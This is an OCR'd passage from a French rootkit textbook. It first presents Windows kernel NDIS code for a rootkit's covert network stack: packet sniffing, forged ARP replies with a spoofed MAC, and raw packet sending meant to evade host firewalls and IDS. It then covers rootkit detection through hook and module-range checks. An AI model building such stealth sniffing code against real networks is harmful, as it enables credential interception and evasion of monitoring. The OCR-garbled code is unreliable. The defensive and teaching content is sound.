totalite du paquet. Nous recuperons le tampon d’en-tete que nous avions conserve dans 
le champ reserve ndis packet, ainsi que le reste du paquet qui avait ete copie dans le 
tampon chaine. Celui-ci n’inclut pas le tampon d’en-tete. Nous concatenons alors les 
deux tampons pour reconstmire la trame brute entiere. Nous liberons et reinitialisons 
les ressources des pools de tampons et de paquets pour qu’elles puissent etre 
reutilisees. 


Une fois que nous avons reassemble la trame brute, nous appelons une fonction 
OnSniff edPacket avec un pointeur vers la trame et sa longueur : 

VOID OnTransferDataDone ( IN NDISJHANDLE thePBindingContext, 

IN PNDIS_PACKET thePacketP, 

IN NDIS_STATUS theStatus, 

IN UINT theBytesTransfered ) 


PNDIS_BUFFER 

PVOID 

ULONG 

PVOID 

ULONG 


aNdisBufP ; 

aBufferP; 

aBufferLen; 

aHeaderBufferP; 

aHeaderBufferLen; 


//DbgPrint( "ROOTKIT: OnTransferDataDone called\n"); 
////////////////////////////////////////////////// 
//////////// // Nous avons un paquet complet ici, nous 
traitons en interne 

////////////////////////////////////////////////// 
//////////// aBufferP = RESERVED(thePacketP) ->pBuffer; 
aBufferLen = theBytesTransfered; 

aHeaderBufferP = RESERVED(thePacketP)->pHeaderBufferP; aHeaderBufferLen = 
RESERVED ( thePacketP ) ->pHeaderBufferLen; 
/////////////////////////////////////////////////////////// 

// aHeaderBufferP devrait etre l'en-tete Ethernet. 

// ^RuffprP rlpvrnit ptrp lp nnniipt TCP/TP. 
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//////////////////////////////////////////////////////// 

III if(aBuffenP && aHeaderBufferP) 

{ 

ULONG aPos = 0; chan *aPtr = NULL; 

aPtr = ExAllocatePool( NonPagedPoolj 

(aHeadenBuffenLen + aBufferLen) ); 

if(aPtn) 

{ 

memcpy(aPtrj 

aHeaderBufferP, 

aHeaderBufferLen ); memcpy(aPtr + 
aHeaderBufferLen, aBufferP, 
aBufferLen ); 

// Nous avons un paquet pret a etre examine. 

// Analyse le paquet pour rechercher les commandes imbriquees. 
OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen)); 
ExFreePool(aPtr); 

} 

//DbgPrintf "ROOTKIT: OTDD: Freeing Packet Memory\n"); 
ExFreePool(aBufferP); // Tampon plein 
ExFreePool(aHeaderBufferP); // Tampon plein } 

/* Libere le tampon */ 

//DbgPrint(" ROOTKIT: OTDD: NdisUnchainBufferAtFront\n"); 
NdisUnchainBufferAtFront( 

thePacketP, &aNdisBufP); // Libere le descripteur de tampon 
if (aNdisBufP) NdisFreeBuffer(aNdisBufP) ; 

/* Recycle */ 

//DbgPrint ( n ROOTKIT : OTDD: NdisReinitializePacketXn" ) ; 
NdisReinitializePacket(thePacketP); 

NdisFreePacket(thePacketP); return; 

> 

Vous pouvez faire tout ce que vous voulez dans la fonction OnSnif f edPacket. Notre 
exemple envoie simplement en sortie quelques donnees relatives au paquet. 

void OnSniffedPacket(const char* theData, int theLen) 

{ 

char _c[255]; 

_snprintf (_Cj 253j "OnSniffedPacket : got packet length %d" , theLen); 
DbgPrint (_c); 

} 

Nous disposons maintenant de tous les blocs constitutifs de notre sniffeur de trafic 
dans notre rootkit. Amie de cet outil, il devient possible d’intercepter des mots de 
passe, de faire un scan passif ou de collecter les e-mails. Explorons maintenant 
quelques effets possibles de l’injection de paquets forges sur le reseau. 
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Emulation d'hote 

A l’aide du driver de protocole NDIS, nous pouvons emuler un nouvel hote sur le 
reseau. Ceci signifie que notre rootkit aura sa propre adresse IP d’hote sur le reseau. 
Ainsi, au lieu d’utiliser la pile IP de l’hote, nous specifierons une nouvelle adresse IP. 
En fait, il est meme possible d’indiquer une autre adresse MAC ! La combinaison des 
adresses IP et MAC est normal ement unique pour chaque ordinateur physique. 

Si quelqu’un procedait a une analyse du reseau, votre combinaison adresses IP/ MAC 
apparaitrait comme etant un ordinateur sur le reseau. Cela pourrait creer une diversion 
pour eviter d’attirer l’attention sur l’ordinateur infecte ou aussi servir a contoumer les 
filtres. 

Creation de votre adresse MAC 

La premiere etape pour emuler un hote est de creer une adresse materielle, ou MAC. 
Une adresse MAC est normal ement gravee sur une carte reseau lors de sa fabrication. 
Elle n’est done pas censee changer. Toutefois, si vous forgez des paquets bruts, vous 
pouvez inserer n’importe quelle adresse. 

Une adresse MAC se compose de 48 bits, dont une partie represente l’identifiant 
unique du fabricant. Lorsque vous creez une nouvelle adresse MAC, vous pouvez 
selectionner le code de vendeur a utiliser. La plupart des analyseurs resolvent ce code. 

Certains commutateurs peuvent etre configures pour n’ autoriser qu’une seule adresse 
MAC par port ou, plus precisement, qu’une adresse specifique pour un port donne. 
Dans une telle situation, 1’ adresse MAC reelle de l’hote et celle qui est forgee entrent 
en conflit. Le resultat sera que la combinaison IP/MAC creee ne fonctionnera pas ou 
que le port sera totalement ferme. 

Gestion d'ARP 

Lorger des trames brutes n’est pas exempt de difficultes. Si vous creez une adresse IP 
et une adresse MAC Ethernet, il vous faudra gerer le protocole ARP (Address 
Resolution Protocol). Sans protocole ARP, aucun paquet ne peut etre echange ni 
meme relaye correctement par le routeur sur le reseau local. ARP est le protocole qui 
indique au routeur que votre adresse IP source est disponible mais, plus important, a 
quelle adresse Ethernet associee il doit transmettre les paquets. 
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Ceci est egalement important dans le cas de commutateurs. Un commutateur 
intelligent sait sur quel port se trouve une adresse MAC. Si votre rootkit ne gere pas 
correctement 1’ adresse Ethernet, le commutateur risque de ne pas envoyer le trafic sur 
le bon port. Comme introduit precedemment, certains commutateurs n’autorisent 
qu’une seule adresse Ethernet par port. Si votre rootkit tente d’utiliser une autre 
adresse MAC, le commutateur emettra une alerte et bloquera les communications dans 
votre direction. Cela a tendance a eveiller 1’ attention de l’administrateur, qui se mettra 
alors a la recherche du coupable. C’est done un evenement que votre rootkit devrait 
s’ efforcer de ne pas declencher. 

L’extrait de code suivant gere la reponse d’un rootkit a une requete ARP. 

Rootkit.com 

Le code source de I'exemple de rootkit est telechargeable a 

www.rootkit.com/vault/hoglund/rk 044.zip . 


#define ETH_P_ARP 0x0806 // Paquet de resolution d' adresse (ARP) 

#define ETH_ALEN 6 // Octets dans une adresse Ethernet ttdefine 
ARPOP_REQUEST 0x01 ttdefine ARPOP_REPLY 0x02 // En-tete Ethernet 
struct ether_header { 

unsigned char h_dest[ETH_ALEN]; /* Adr. Ethernet de destination */ unsigned 
char h_source[ETH_ALEN];/* Adr. Ethernet source */ unsigned short h_proto; 
/* Champ d ' identification du type de paquet */ 

}; 


struct ether_arp 

{ 

struct arphdr ea_hdr; /* En-tete de taille fixe */ u_char 
arp_sha[ETH_ALEN] ; /* Adresse materielle de l'emetteur */ u_char 
arp_spa[4]; /* Adresse de protocole de l'emetteur */ u_char 
arp_tha[ETH_ALEN] ; /* Adresse materielle cible */ u_char arp_tpa[4]; /* 
Adresse de protocole cible */ 

}; 

void RespondToArp( struct in_addr sip, struct in_addr tip, 

_ int64 enaddr) 

{ 

struct ether_header *eh; 
struct ether_arp *ea; 
struct sockaddr sa; 
struct pps *pp = NULL; 
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L’adresse MAC que nous utilisons, ou forgeons, est oxdeadbeefdead. Nous allouons un 
paquet suffisamment grand pour une reponse ARP. Ceci est initialise avec des octets 
NULL. 


_ int64 our_mac = 0XADDEEFBEADDE; // Adresse MAC forgee 

Nous remplissons les champs de l’en-tete Ethernet. Le type de protocole est defini 
avec eth_p_arPj representant la constante 0x806. 

ea = ExAllocatePool(NorPagedPool, sizeof (struct ether_arp)); 
memset(ea., 0, sizeof (struct ether_arp)); eh = (struct 
ether_header *)sa . sa_data; 

(void)memcpy(eh->h_dest , &eraddr, sizeof(eh->h_dest)); 
(void)memcpy(eh->h_source, &our_mac, sizeof (eh->h_source)); eh- 
>h_proto = htors(ETH_P_ARP); 

Nous remplissons aussi les champs d’une structure de "prototype Ether/ARP" : 

ea->arp_hrd = htors(ARPHRD_ETHER); 
ea->arp_pro = htors(ETH_P_IP); 

ea->arp_hln = sizeof (ea->arp_sha) ; /* Lorgueur d' adresse materielle */ ea- 
>arp_plr = sizeof (ea->arp_spa); /* Lorgueur d'adresse de protocole*/ ea- 
>arp_op = htors(ARP0P_REPLY) ; 

(void)memcpy(ea->arp_sha, &our_mac, sizeof (ea->arp_sha) ) ; 
(void)memcpy(ea->arp_tha, &eraddr, sizeof (ea->arp_tha)); 
(void)memcpy(ea->arp_spa, &sip, sizeof (ea->arp_spa) ) ; (void)memcpy(ea- 
>arp_tpa, &tip, sizeof (ea->arp_tpa)); 

pp = ExAllocatePool(NorPagedPool, sizeof (struct pps)); 
memcpy(&(pp->eh ) , eh, sizeof (struct ether_header)); 
memcpy(&(pp->ea ) , ea, sizeof (struct ether_arp)); 

Nous envoy ons les donnees sur E interface reseau en utilisant la fonction SendRaw. 
Apres E envoi du paquet, nous liberons les ressources : 

// Ervoie ur paquet brut sur l'irterface par defaut 
SerdRaw( (char *)pp, sizeof (struct pps)); 

ExFreePool(pp); 

ExFreePool(ea); 

} 

Certaines macros utiles pour effectuer la traduction adresse de reseau (htons, etc.) : 

#defire INETADDR(a, b, c, d) (a + (b«8) + (c«16) + (d«24)) 

#defire HTONL(a) ( ( (a&0xFF)«24) + ( (a&0xFF00)«8) + ( (a&0xFF0000)»8) + 

( (a&0xFF000000)»24) ) 


#def ire HTONS(a) ( ( (0xFF&a)«8) + ( (0xFF00&a)»8) ) 
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Passerelle IP 

Comme nous l’avons vu, ARP est utilise pour associer une adresse MAC a une adresse 
IP, ce qui permet la transmission du trafic jusqu’au destinataire voulu. Toutefois, les 
adresses MAC ne sont utilisees que sur le reseau local. Elies ne servent pas au routage 
sur Internet. Si une adresse IP est exteme au reseau local, le paquet doit etre route. 
C’est a cela que sert une passerelle. 

Une passerelle possede generalement une adresse IP et une adresse MAC aussi. Pour 
router des paquets hors du reseau, vous avez juste besoin d’utiliser l’adresse MAC de 
la passerelle dans votre paquet. En d’autres termes, vous n’envoyez pas de paquets a 
1’ adresse IP de la passerelle. 

Par exemple, si je souhaite envoyer un paquet a 172.16.10.10 et que mon reseau soit 
192.168.0. 0, je dois trouver l’adresse MAC de la passerelle. Si son adresse IP est 

192.168.1.1, je peux utiliser ARP pour la trouver. J’envoie ensuite le paquet a 
172.16.10.10 enutilisant P adresse MAC de la passerelle. 

Envoi d'un paquet 

Vous pouvez utiliser NdisSend pour envoyer des paquets bruts sur le reseau. Le code 
suivant illustre cette methode. L’ extrait provient egalement de P exemple de rootkit 
rk_044 introduit plus haut et telechargeable a P adresse indiquee. 

Cet exemple utilise un verrou spinlock pour partager l’acces a une structure de 
donnees globale. Ceci est important pour la securite d’execution du thread puisque la 
fonction de callback qui collecte les paquets est executee dans le contexte d’un autre 
thread : 

VOID SendRaw(char *c, int len) 

{ 

NDIS_STATUS aStat; 

DbgPrint( "ROOTKIT: SendRaw called\n"); 

/* Acquiert un vernou libene une fois l'envoi termine seulement */ 
KeAcquireSpinLock(&GlobalArraySpinLock, &glrql_); 

Nous allouons ensuite un paquet NDIS PACKET a partir de notre pool de paquets. Dans 
cet exemple, le handle de pool de paquets est stocke dans une structure globale (nous 
avons decrit plus haut Pallocation d’un pool de paquets lors de la presentation de 
OnOpenAdapterDone). 

if (gOpenlnstance && c){ 

PNDIS_PACKET aPacketP; 

NdisAllocatePacket(&aStat, 

&aPacketP, 
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gOpenInstance->mPacketPoolH 

); 


if (NDIS_STATUS_SUCCESS == aStat) 

{ 

PVOID aBufferP; 

PNDIS_BUFFER anNdisBufferP; 

Nous allouons ensuite un tampon ndis buffer de notre pool de tampons. Ici aussi, 
le handle du pool est global. Le tampon est initialise avec les donnees du paquet a 
envoyer et ensuite "chaine" au paquet ndis packet. Notez que nous avons defini le 
champ reserve de NDIS PACKET a NULL pour que notre fonction OnSendDone function 

sache qu’il s’agit d’un envoi genere localement. 

NdisAllocateMemory( &aBufferP, 
len, 

0 , 

HighestAcceptableMax ); 
memcpyf aBufferP, (PVOID)c, len); 

NdisAllocateBuffer( &aStat, 

&anNdisBufferP, 
gOpenInstance->mBufferPoolH, 
aBufferP, 
len ); 

if (NDIS_STATUS_SUCCESS == aStat) 

{ 

RESERVED ( aPacketP ) ->Irp = NULL j 
NdisChainBuffenAtBack(aPacketPj anNdisBufferP); 

Le paquet NDIS PACKET est passe a NdisSend. Si NdisSend se termine immedia- 
tement, nous appelons OnSendDone, sinon l’appel est "en attente" et OnSendDone 

sera appele lorsque l’operation d’envoi sera terminee. 

NdisSend( &aStat, 

gOpenInstance->AdapterHandlej 
aPacketP ); 

if (aStat ! = NDIS_STATUS_P ENDING ) 

{ 

OnSendDone( gOpenlnstance, 
aPacketP, 
aStat ); 



else 


{ 

} 


else // Erreur 
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{ 

II Erreur 


/* Libere le verrou pour permettre le prochain envoi */ 
KeReleaseSpinLock(&GlobalArraySpinLock J glrqL); 

} 

Le code dans onSendDone libere les ressources qui avaient ete allouees pour 1’ envoi : 
VOID 

OnSendDone( IN NDIS_HANDLE ProtocolBindingContext, 

IN PNDIS_PACKET pPacket, 

IN NDIS_STATUS Status ) 

{ 

PNDIS_BUFFER anNdisBufferP; 

PVOID aBufferP; 

UINT aBufferLen; 

PIRP Irp; 

DbgPrint("ROOTKIT: OnSendDone called\n"); 

KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL) ; 

Si 1’ operation d’ envoi etait initiee a partir d’une application en mode utilisateur et non 
du noyau comme nous l’avons fait pour notre exemple, nous aurions un IRP a gerer. II 
aurait alors ete stocke dans le champ reserve du paquet ndis packet : 
Irp=RESERVED(pPacket) ->Irp; if (Irp) 

{ 

NdisReinitializePacket(pPacket); 

NdisFreePacket(pPacket); 

Irp->IoStatus. Status = NDIS_STATUS_SUCCESS; 

/* Pas de rapport d' envoi.. */ 

Irp->IoStatus . Information = 0; 

IoCompleteRequest(Irp., I0_N0_INCREMENT) ; 

} 

else 

{ 

En supposant qu’il n’y a pas d’IRP, nous dissocions le tampon ndis buffer du paquet 
NDIS PACKET. L’appel de NdisQueryBuffer nous permet de recuperer le tampon de 
memoire original pour que nous puissions le liberer. Ceci est important car sinon il se 
produira une "fuite" de memoire (leak) pour chaque paquet envoye ! Notez que nous 
utilisons aussi un verrou spinlock pour proteger P acces au tampon global partage. 
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II Si pas d'IRPj c'etait alons local 
NdisUnchainBuffenAtFnont( pPacket , 

&anNdisBufferP ); 
if (anNdisBuffenP) 

{ 

NdisQuenyBuffer( 

anNdisBufferP, 

&aBufferP, 

&aBufferLen); 

if (aBufferP) 

{ 

NdisFreeMemory( aBufferP, 

aBufferLen, 

0 ); 

} 

NdisFreeBuffer(anNdisBufferP); 

} 

NdisReinitializePacket( pPacket) ; 

NdisF reePacket( pPacket ) ; 

} 

/* Libere le verrou pour permettre le prochain envoi.. */ 
KeReleaseSpinLock(&GlobalArraySpinLock, glrqL) ; 

return; 

Le choix d’utiliser NDIS ou TDI depend du niveau auquel vous voulez etre sur la 
machine. Chaque approche a ses avantages et ses inconvenients (voir Tableau 9.1). 

Tableau 9.1 : Les avantages et les inconvenients de NDIS et de TDI 

Avantages Inconvenients 

Permet d’envoyer et de recevoir des Necessite d’integrer sa propre pile TCP/ 
trames brutes qui sont independantes IP ou de forger un quelconque protocole 
de la pile IP de l’hote. intelligent pour le transfert des donnees. 

Peut etre preferable si vous voulez L’emploi de plusieurs adresses MAC 

eviter la detection par des systemes peut provoquer des problemes avec 
pare-feu ou IDS heberges. certains commutateurs. 

Permet d’avoir une interface tres Le trafic utilisant cette methode a plus de 

semblable aux sockets, ce qui sera plus chances d’etre capture par le systeme 
facile pour de nombreux pare-feu de l’hote. 

programmeurs. 

Utilise la pile TCP/IP de l’hote et evite 
les problemes de double adresse IP et 
MAC. 


Methode 

NDIS 


TDI 
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Vous disposez maintenant des outils requis pour manipuler le trafic de reseau et 
comprendre comment un tel rootkit fonctionne. 

Conclusion 

La dissimulation de donnees est une tactique ancienne appliquee aux nouvelles 
technologies. C’est meme une source d’ inspiration lorsqu’elle est reprise par 
Hollywood ou dans la fiction populaire. Dans ce chapitre, nous avons touche au 
concept essentiel de "dissimulation a decouvert" et introduit les mecanismes de NDIS 
et de TDI qui peuvent etre exploites pour envoyer et recevoir du trafic de reseau a 
l’aide d’un driver de noyau sous Windows. 

Avec les technologies disponibles, il est possible de concevoir des systemes dcpla^ant 
des donnees sans que cela soit detecte. Une affirmation hardie, direz-vous, mais la 
plupart des reseaux sont surcharges et leur architecture de detection d’ intrusions n’est 
pas assez robuste. La plupart du temps, les administrateurs font simplement de leur 
mieux pour maintenir le reseau operationnel, et un petit filet de donnees passera 
inaperfu. 





Detection d’un rootkit 


Je ne sais si ma terre natale est un pdturage pour les betes sauvages ou 
si c ’est encore ma demeure. 

- Poete anonyme de Ma’arra 


Comme nous l’avons demontre dans ce livre, les rootkits peuvent etre difficiles a 
detecter, surtout lorsqu’ils operent dans le noyau, car ils peuvent alors modifier les 
fonctions utilisees par tous les logiciels, y compris les outils de securite. 

La puissance disponible pour les logiciels de protection contre les intrusions est 
egalement exploitable par les rootkits. De la meme maniere que certaines voies 
peuvent etre bloquees pour empecher un rootkit de s’introduire, elles peuvent aussi 
etre liberees. Un rootkit peut empecher un outil de detection ou de prevention de 
s’executer ou de fonctionner correctement. Cela se resume a un bras de fer entre 
l’attaquant et le defenseur, l’avantage allant a celui qui se charge dans le noyau et 
s’ execute en premier. 

II faut savoir que ce qui permet aujourd’hui a un defenseur de detecter un rootkit sera 
peut-etre inefficace demain. Les rootkits se perfectionnent a mesure que leurs 
developpeurs identifient la fag on dont les logiciels de detection precedent. L’ inverse 
est egalement vrai. Les defenseurs actualisent constamment leurs outils avec 
f emergence de nouvelles techniques de rootkits. 
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Ce chapitre examine les deux approches de base de la detection de rootkits : detecter 
un rootkit et detecter le comportement d’un rootkit. Une fois que vous vous serez 
familiarise avec ces deux approches, vous serez davantage en mesure de vous 
defendre. 

Detection de la presence d'un rootkit 

De nombreuses techniques existent pour detecter la presence d’un rootkit. Par le passe, 
les logiciels tels que Tripwire ( www. tripwire . org) recherchaient une image sur le 
systeme de fichiers. Cette demarche est toujours employee par la plupart des fabricants 
d’ antivirus et peut etre appliquee a la detection de rootkits. 

Une telle approche part du principe qu’un rootkit utilisera le systeme de fichiers. 
Evidemment, elle ne fonctionnera pas si le rootkit s’ execute uniquement depuis la 
memoire ou s’il se trouve sur un composant materiel. De plus, si un programme 
antirootkit est lance sur un systeme en ligne qui a deja ete infecte, il sera inoperant *. 
Un rootkit qui dissimule des fichiers en hookant des appels systeme ou en utilisant un 
driver chaine de filtrage de fichiers neutralisera ce mode de detection. 

Etant donne que les logiciels comrne Tripwire possedent des limitations, d’autres 
methodes permettant de detecter la presence de rootkits ont ete developpees. Les 
sections suivantes exposent celles grace auxquelles trouver un rootkit en memoire ou 
detecter la preuve de sa presence. 

Surveillance des points d'entree 

N’importe quel logiciel doit exister quelque part en memoire. Aussi, pour decouvrir un 
rootkit, vous pouvez rechercher dans la memoire. 

Cette technique prend deux formes. La premiere consiste a detecter un rootkit lorsqu’il 
se charge en memoire. II s’agit d’une demarche de surveillance : detecter ce qui entre 
dans la memoire de l’ordinateur (processus, drivers, etc.). Un rootkit peut utiliser de 
nombreuses fonctions differentes du systeme d’exploitation pour se charger. En 
surveillant ces points d’entree, le logiciel de detection peut parfois reperer un rootkit. 
Les points a surveiller etant multiples, si le logiciel en omet un seul, cette strategie de 
defense risque d’echouer. 1 


1 . Pour obtenir de meilleurs resultats, un logiciel de controle d’integrite des fichiers devrait etre execute hors 
ligne sur une copie de l’image du disque. 
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C’ etait justement le probleme du programme IPD (Integrity Protection Driver), de 
Pedestal Software 1 2 . IPD hookait des fonctions du noyau dans la SSDT, telles que 
NtLoadDriver et NtOpenSection . Nous avons decouvert qu’il etait possible de charger 
un module dans la memoire du noyau en appelant la fonction ZwSetSyste- mlnf 
ormation, laquelle n’ etait pas filtree par IPD. Apres que le logiciel a ete corrige pour 
tenir compte de ce fait, en 2002, Crazylord a publie un article qui expliquait cette fois 
comment employer un lien symbolique pour \ \device\ \physicalmemory afin de 
contoumer la protection d’lPD. Ce programme se devait d’evoluer continue 11 ement 
pour pouvoir bloquer les nouvelles techniques de contoumement de sa protection 1 2 . 

La demiere version d’lPD hooke les fonctions suivantes : 

ffi ZwOpenKey ; 

18 ZwCreateKey ; 

61 ZwSetValueKey ; u 

ZwCreateFile ; ij 

ZwOpenFile ; 

B ZwOpenSection ; 

■ ZwCreateLinkObject ; 

H ZwSetSystemlnformation ; a 

ZwOpenProcess . 

La longueur de cette liste souligne la complexity du processus de detection d’un 
rootkit. Et encore, elle n’est pas complete. Un autre moyen de charger un rootkit est 
d’utiliser les points d'entree dans l’espace d’adressage d’un autre processus. Toutes les 
methodes evoquees au Chapitre 4 pour charger une DLL dans un autre processus 
doivent done aussi etre surveillees. Et cela ne couvre meme pas toutes les techniques 
de chargement decrites dans ce livre. 


1. II semblerait que la societe Pedestal ( www.pedestalsoftware.com ) n’offte plus ce produit. 

2. Crazylord, "Playing with Windows /dev/(k)mem", Phrack n° 59, article 16 (28 juin 2002), disponible sur 
www.phrack.org/phrack/59/p59-0xl0.txt . 
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Identifier toutes les voies de chargement potentielles d’un rootkit n’est qu’une 
premiere etape. La difficulty dans 1’ elaboration des techniques de detection de 
chargement reside dans le fait de determiner ce qu’il faut surveiller et quand emettre 
une alerte. Par exemple, un rootkit peut etre charge en memoire via des cles de 
registre. Des points de detection evidents a hooker seraient les fonctions ZwOpenKey, 
ZwCreateKey et ZwSetValueKey (a l’instar d’lPD). Mais le logiciel de detection qui 
hooke ces fonctions doit aussi savoir quelles cles surveiller. 

Les drivers sont generalement places dans la cle suivante : 

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services 
Cette cle represente un emplacement interessant a filtrer dans votre fonction de 
hooking du Registre, mais un rootkit pourrait modifier une autre cle : 

HKEY_LOCAL_MACHINE\System\ControlSet001 \Services 
Cette cle peut etre utilisee lorsque la machine est demarree avec la demiere bonne 
configuration connue. 

II faut aussi considerer toutes les cles de registre relatives a la fa£cn dont les 
extensions d’applications sont gerees. En outre, des DLL additionnelles, telles que 
Bho. dll (.Browser Helper Object), peuvent etre chargees dans des processus. 

Les logiciels de detection doivent aussi tenir compte de la menace que constituent les 
liens symboliques. Un tel lien est un alias pour un nom reel. Une des cibles que vous 
cherchez a proteger pourrait avoir plusieurs noms. Si votre logiciel de detection hooke 
la table d’appels systeme et qu’un rootkit utilise un lien symbolique, la veritable cible 
de ce lien n’aura pas encore ete resolue lorsque votre hook sera appele. En outre, la 
ruche hkey_local_machine n’est pas representee par ce nom dans le noyau. Meme si 
votre logiciel pouvait hooker tous ces points de filtrage, le nombre d’ emplacements a 
examiner semblerait infini. 

Supposons neanmoins que vous ayez decouvert tous les emplacements a surveiller afin 
d’ empecher le chargement de rootkits et que vous ayez resolu tous les noms possibles 
des ressources critiques a proteger. La difficulty est maintenant de decider quand 
emettre une alerte. Si vous avez detecte le chargement d’un driver ou d’une DLL, 
comment pouvez-vous savoir s’il s’agit ou non d’un code malveillant ? Votre logiciel 
de detection aurait besoin d’une signature pour pouvoir effectuer une comparaison, ce 
qui suppose un vecteur d’attaque connu. Une autre solution pour le logiciel serait 
d’ analyser le comportement du module pour tenter de determiner s’il est hostile. 
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Ces deux approches sont tres delicates a mettre en oeuvre. L’emploi de signatures 
requiert que les rootkits soient connus et ne convient done pas lorsqu’un rootkit est 
nouveau. Et la detection de comportements symptomatiques donne lieu a une 
multitude de faux positifs et de faux negatifs. 

Savoir quand notifier un chargement est crucial et constitue un defi de securite 
permanent pour les editeurs d’ antivirus. 

Scan de la memoire 

Scanner la memoire est la deuxieme approche permettant de detecter la presence de 
rootkits. Au lieu de surveiller laborieusement tous les points d’ entree dans le noyau ou 
dans l’espace d’adressage d’un autre processus, vous pourriez scanner regulierement la 
memoire a la recherche de modules connus ou de signatures correspondant a des 
rootkits. L’interet de cette demarche est sa simplicity. Mais, comme il a ete dit, elle ne 
permet de detecter que les attaques connues. De plus, elle n’empechera pas un rootkit 
de se charger. II faut d’ailleurs qu’un rootkit ait ete charge pour qu’elle fonctionne. Si 
votre logiciel scanne l’espace d’adressage des processus, il devra changer de contexte 
pour chaque processus ou accomplir lui-meme le mapping adresses virtuelles/adresses 
physiques. Si un rootkit du noyau est deja present, il peut interferer avec ce traitement. 

Recherche de hooks 

Une autre approche de detection de la presence de rootkits en memoire consiste a 
rechercher des hooks dans le systeme d’ exploitation et dans les processus. Comme 
explique aux Chapitres 4 et 5, de nombreux emplacements se pretent a la dissimulation 
de hooks. Voici les principaux types de hooks : 

H hook de la table IAT (Import Address Table ) ; 

H hook de la table SSDT ( System Sendee Dispatch Table ) ; 

H hook de la table IDT (Interrupt Descriptor Table ) d’un processeur ; 

Si hook du gestionnaire de paquets IRP ( I/O Request Packet) d’un driver ; 

S hook de fonction en ligne. 

La recherche de hooks s’ accompagne des memes inconvenients que ceux mentionnes a 
la section precedente. Etant donne que le rootkit est deja charge en memoire et 
s’ execute, il peut interferer avec vos methodes de detection. Mais un avantage de 
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cette approche est qu’elle est generique, c’est-a-dire qu’elle n’implique la recherche 
d’aucune signature ou sequence connue. 

La procedure de base pour identifier un hook consiste a rechercher les branchements 
qui tombent en dehors d’une plage acceptable. De tels branchements sont produits par 
des instructions telles que call ou imp. Le plus souvent, definir une plage acceptable 
n’est pas difficile. Dans une table IAT, le nom du module contenant les fonctions 
importees est liste. Ce module possede une adresse de debut bien definie en memoire 
ainsi qu’une taille. Ces informations sont tout ce dont vous avez besoin. 

II en va de meme pour les drivers : tous les gestionnaires d’IRP legitimes doivent 
exister dans la plage d’adresses de leurs drivers respectifs, et toutes les entrees de la 
table SSDT sont normal ement contenues dans la plage du processus du noyau, 
Ntoskrnl.exe. 

Identifier un hook de la table IDT est un peu plus complique car vous ne connaissez 
pas la plage d’adresses acceptable pour la plupart des interruptions. En revanche, vous 
connaissez assurement celle du gestionnaire de l’interruption int 2E, qui devrait 
pointer vers le noyau, Ntoskrnl . exe . 

Un hook de fonction en ligne est le plus difficile a detecter car il peut se trouver 
n’importe ou dans la fonction, necessitant de disassembler entierement celle -ci. En 
outre, dans des circonstances de fonctionnement normal, une fonction peut appeler des 
adresses situees en dehors de la plage du module. Les sections suivantes expliquent 
comment detecter des hooks de SSDT et d’lAT ainsi que certains hooks en ligne. 

Recuperer la plage d’adresses des modules du noyau 

Pour proteger la SSDT ou la table de gestionnaires d’lRP d'un driver, il faut d’abord 
identifier la plage d’adresses acceptable. Pour cela, vous devez disposer d’une adresse 
de debut et d’une taille. Pour des modules du noyau, vous pouvez appeler 
ZwQuerySystemlnformation a cette fin. 

Mais vous vous dites probablement que cette fonction peut egalement etre hookee. 
C’est effectivement possible mais, lorsqu’elle Test et ne retoume pas d’ informations 
pour Ntoskrnl.exe ou un driver qui a ete charge, cela signifie qu’un rootkit est present. 

Pour lister tous les modules du noyau, vous pouvez invoquer ZwQuerySystemln- 
formation en precisant que vous vous interessez a la classe d’ informations 
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SystemModulelnformation. Vous obtiendrez une liste des modules charges et les 
informations associees a chacun d’eux. Voici les structures contenant ces informations 


ttdefine MAXIMUM_FILENAME_LENGTH 256 

typedef struct _M0DULE_INF0 { 

DWORD d_Reservedl; 

DWORD d_Reserved2; 

PVOID p_Base; 

DWORD d_Size; 

DWORD d_Flags; 

WORD w_Index; 

WORD w_Rank; 

WORD w_LoadCount; 

WORD w_NameOffset ; 

BYTE a_bPath [MAXIMUM_FILENAME_LENGTH] ; 

} MODULE_INFOj *PMODULE_INFO, **PPMODULE_INFO; 

typedef struct _MODULE_LIST 

{ 

int d_Modules; 

MODULE_INFO a_Modules []; 

} MODULE_LISTj *PMODULE_LIST, **PPMODULE_LIST; 

La fonction GetListofModules alloue la memoire requise et retoume un pointeur vers 
cette memoire si elle peut recuperer les informations des modules systeme : 

///////////////////////////////////////////////////////////////// 

III 

// PMODULE_LIST GetListofModules // Parametres : 

// IN PNTSTATUSj pointeur vers la variable NTSTATUS. 

// Utile pour le debugging. 

// Retourne : 

// OUT PMODULE_LIST, pointeur vers MODULE_LIST 

PMODULE_LIST GetListOfModules(PNTSTATUS pns) 

{ 

ULONG ul_NeededSize; 

ULONG *pul_ModuleListAddress = NULL; 

NTSTATUS ns; 

PMODULE_LIST pmi = NULL; 

// Appelle ZwQuerySystemlnformation pour determiner // la taille requise 
pour Stocker les informations. 

ZwQuerySystemlnformation (SystemModulelnformation., 

&ul_NeededSizej 

0 , 

&ul_NeededSize) ; 

pul_ModuleListAddress = (ULONG *) ExAllocatePool *»(PagedPoolj 
ul_NeededSize) ; 

if ( ! pul_ModuleListAddress) // Echec de ExAllocatePool 
1 if (pns ! = NULL) 
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*pns = STATUS_INSUFFICIENT_RESOURCES; 
return (PMODULE_LIST) pulDVIoduleListAddress ; 

} 

ns = ZwQuerySystemlnformation(SystemModulelnformation, 

pul_ModuleListAddresSj 

ulJMeededSize, 

0 ) ; 

if (ns != STATUS_SUCCESS)// Echec de ZwQuerySystemlnformation 

{ 

// Libere la memoire paginee allouee 
ExFreePool( (PVOID) pul_ModuleListAddress) ; if 
(pns != NULL) 

*pns = ns; 
return NULL; 

} 

pmi = (PMODULE_LIST) pulDVIoduleListAddress; if (pns != NULL) 
*pns = ns; return pmi; 


Vous disposez maintenant d’une liste de tous les modules du noyau. Pour chacun 
d’eux, deux informations importantes ont ete retoumees dans la structure module info : 
l’adresse de base et la taille du module. Vous connaissez a present la plage acceptable 
et pouvez commencer a rechercher des hooks. 

De tec ter les hooks de la SSDT 

La fonction DriverEntry suivante appelle la fonction GetListOfModules puis examine 
chaque entree de la liste retournee a la recherche du module Ntos- krnl.exe. 
Lorsqu’elle le trouve, une variable globale contenant l’adresse de debut et l’adresse de 
fin de ce module est initialisee. Ces informations serviront a rechercher dans la SSDT 

les adresses qui tombent en dehors de la plage du module, 

